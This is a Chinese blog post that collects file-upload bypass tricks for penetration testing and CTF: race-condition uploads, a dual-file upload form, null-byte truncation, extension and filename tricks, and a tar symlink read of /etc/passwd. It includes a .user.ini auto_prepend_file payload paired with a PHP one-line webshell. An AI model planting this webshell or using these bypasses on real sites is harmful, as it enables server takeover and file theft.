文件上传Trick(持续更新...)

前言

本文只记载一些文件上传的骚操作,其他的基本操作不在叙述。

竞争上传

竞争上传原理:有些服务器采用了先保存,再删除不合法文件的方式。所以我们可以上传一个生成shell的文件,然后通过不断的访问这个文件,就会有个时间差,从而在服务器上生成一个shell。
操作:使用burp
上传生成shell的文件,发送到Intruder模块。

假如我们知道了文件上传的路径,我们就可以不断访问这个,从而生成shell。

设置成null payload:

两个模块一块跑

最后生成了shell

双文件上传

比较老的一个文件上传漏洞
原理:上传点支持多文件上传,但是却只对第一个文件做了过滤。
所以我们可以本地构造上传的poc:

1
2
3
4
5
6
7
8
9
<html>
<body>
<form name="form" enctype="multipart/form-data" method="post" action="http://test/upload.asp">
<input type="file" name="file1">
<input type="file" name="file2">
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

第一个文件上传合法文件,第二个文件上传shell文件。

%00截断

PHP版本<5.3.4
上传包中泄露了上传地址
php的magic_quotes_gpc为OFF状态

.user.ini

php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
利用条件:
在上传文件夹中存在php可执行文件
主要利用了两个参数:
auto_append_file、auto_prepend_file

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句: require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有 exit() 时该设置无效)

所以我们可以自定义一个.user.ini上传:

1
2
GIF89a
auto_prepend_file=a.jpg

这个意思是在同个目录的php文件开头自动加载执行a.jpg
所以我们直接上传a.jpg里面包含一句话即可:
1
2
GIF89a
<script language='php'>eval(@$_REQUEST[1])</script>

上传黑名单

在CTF中经常用的后缀名:phtml,shtml
php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

系统命名绕过

在Windows系统中,上传index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20 , index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件

软链接任意读取文件

让用户上传一个 tar 压缩包 , 然后会将其中的 txt 文件的内容显示出来正解是先本地创建一个符号链接指向某一个敏感文件的绝对路径 (/etc/passwd)然后使用 tar 打包后上传给具有漏洞的程序 , 然后 , 经过程序处理以后就会 follow 符号链接将文件内容显示出来
参考博客:
https://www.lizenghai.com/archives/5763.html

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×